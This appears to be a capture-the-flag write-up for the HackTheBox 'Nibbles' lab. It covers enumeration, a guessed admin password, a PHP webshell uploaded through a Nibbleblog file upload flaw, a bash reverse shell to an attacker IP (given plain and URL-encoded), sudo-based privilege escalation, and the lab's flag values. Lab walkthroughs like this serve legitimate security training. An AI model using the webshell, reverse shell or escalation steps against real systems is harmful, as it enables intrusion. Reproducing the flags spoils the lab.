Nibbles
TL;DR
# 1. Enumerate
nmap -sV -sC -oN nmap/initial <attack_ip>
# 2. Check page source — HTML comment reveals /nibbleblog/
curl http://<attack_ip> | grep -i nibble
# 3. Gobuster
gobuster dir -u http://<attack_ip>/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
# 4. Confirm version from README
curl http://<attack_ip>/nibbleblog/README
# 5. Get admin username from users.xml
curl http://<attack_ip>/nibbleblog/content/private/users.xml
# 6. Login to admin panel — admin:nibbles
# 7. Plugins > My Image > upload shell.php
# Write webshell — SINGLE QUOTES required
echo '<?php echo system($_REQUEST["cmd"]); ?>' > shell.php
# 8. Trigger reverse shell via browser, catch with nc
nc -lvnp 4444
# 9. Privesc
sudo -l
echo '/bin/bash -i' >> /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
Given Info
Box description: Nibbles is an Easy Linux box running Nibbleblog v4.0.3, an outdated PHP CMS with a known authenticated file upload vulnerability. The path to root chains together an HTML comment disclosure, a guessable admin password, an unrestricted file upload, and a sudoers misconfiguration.
Recommended modules:
- Web Enumeration
- File Upload Attacks
- Linux Privilege Escalation
Where I Got Stuck
- Webshell broken by double quotes — wrote the PHP webshell using double quotes with echo. Bash stripped
$_REQUESTbefore writing the file, producing broken PHP. Always use single quotes when echoing PHP via bash. - IP blacklisted on admin panel — too many failed login attempts triggered an IP blacklist in Nibbleblog. Had to wait it out before trying again. Don’t brute-force the login — try obvious passwords manually first.
- Relative sudo path prompted for password — ran
sudo monitor.shwithout the full path. NOPASSWD in sudoers only matches the exact path specified. Always use the full path shown insudo -l. - nano failed in reverse shell — no TTY in the netcat shell so interactive editors don’t work. Use
echo >>to append to files instead. - Reverse shell via curl POST — tried several curl approaches before switching to URL-encoded GET via browser. Simpler is better.
Enumeration
Nmap
nmap -sV -oN nmap/initial <attack_ip>
nmap -sC -oN nmap/scripts <attack_ip>
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp open http Apache httpd 2.4.18 (Ubuntu)
Small attack surface — two ports only. Web is the obvious target.
Port 80 — HTTP
Browsed to port 80 — bare “Hello world!” page. Nothing visible.
Check page source:
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Developer left a comment pointing directly at the CMS path. Always view source on minimal pages.
Gobuster
gobuster dir -u http://<attack_ip>/nibbleblog/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
Results:
/admin.php (Status: 200)
/admin/ (Status: 301)
/content/ (Status: 301)
/README (Status: 200)
README — version confirmation:
curl http://<attack_ip>/nibbleblog/README
Nibbleblog v4.0.3
Interesting finding: /nibbleblog/content/ had directory listing enabled.
curl http://<attack_ip>/nibbleblog/content/private/users.xml
<user username="admin">
Username confirmed: admin.
CVE spotted: Nibbleblog 4.0.3 + authenticated access = CVE-2015-6967, arbitrary file upload via the My Image plugin.
Attack Plan
Step 1 — Access the admin panel
Browsed to /nibbleblog/admin.php.
Don’t brute force this — Nibbleblog blacklists IPs after failed attempts. Try obvious passwords manually. Box name is always worth trying.
Tried admin:nibbles — logged in.
Step 2 — Upload webshell (CVE-2015-6967)
The My Image plugin accepts file uploads with zero server-side validation.
Write the webshell — single quotes are critical:
echo '<?php echo system($_REQUEST["cmd"]); ?>' > shell.php
Double quotes with echo causes bash to interpret
$_REQUESTas a variable, stripping it before the file is written. The PHP file breaks silently. Single quotes prevent bash from touching the string.
Upload: Admin panel → Plugins → My Image → Browse → select shell.php → Save changes
Ignore the error messages — the file uploads regardless.
Confirm execution:
http://<attack_ip>/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami
nibbler
RCE confirmed.
Step 3 — Reverse shell
Start listener:
nc -lvnp 4444
Trigger via browser — URL-encode the payload:
Decoded payload:
/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
URL-encoded (paste this into the browser cmd parameter):
%2Fbin%2Fbash+-c+'bash+-i+>%26+%2Fdev%2Ftcp%2FYOUR_IP%2F4444+0>%261'
Shell caught as nibbler.
Post Exploitation / Privilege Escalation
Step 1 — Upgrade shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
Step 2 — Check sudo permissions
sudo -l
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler can run a shell script as root with no password. The script is in the user’s home directory — meaning we can write to it.
Step 3 — Unzip personal.zip
unzip /home/nibbler/personal.zip
This creates the personal/stuff/monitor.sh path that sudo expects.
Step 4 — Append bash to the script
echo '/bin/bash -i' >> /home/nibbler/personal/stuff/monitor.sh
>>appends,>overwrites. Use append here — don’t destroy the file.
Step 5 — Execute with full path
sudo /home/nibbler/personal/stuff/monitor.sh
Must use the exact full path from
sudo -l. Runningsudo monitor.shprompts for a password — NOPASSWD only matches the literal path in sudoers.
whoami
# root
Flags
🚩 User Flag — click to reveal
502508994471c30f28077c000ff9a8b2🚩 Root Flag — click to reveal
c4765281c81c85ec90776db5986435c8What I Learned
- Single quotes in bash echo — when writing PHP via echo, always use single quotes. Double quotes cause bash to interpret variables like
$_REQUESTbefore writing, silently breaking your webshell. >>vs>— append vs overwrite. Use>>when adding to an existing file. Using>on monitor.sh would have wiped it.- sudo exact path matching — NOPASSWD only matches the literal path in sudoers.
sudo monitor.shandsudo /home/nibbler/personal/stuff/monitor.share treated completely differently. - No TTY = no interactive editors — netcat shells have no TTY. nano, vim, and other interactive tools fail. Use
echo >>for file edits,python3 ptyto upgrade the shell. - View source on every page — the CMS path was sitting in an HTML comment. A one-second source view gave the entire attack surface.
- README files reveal versions — always check
/README. Got the exact Nibbleblog version and confirmed the CVE in seconds. - Box name = password hint —
nibblesas the admin password. HTB box names frequently hint at credentials, not just vulnerabilities.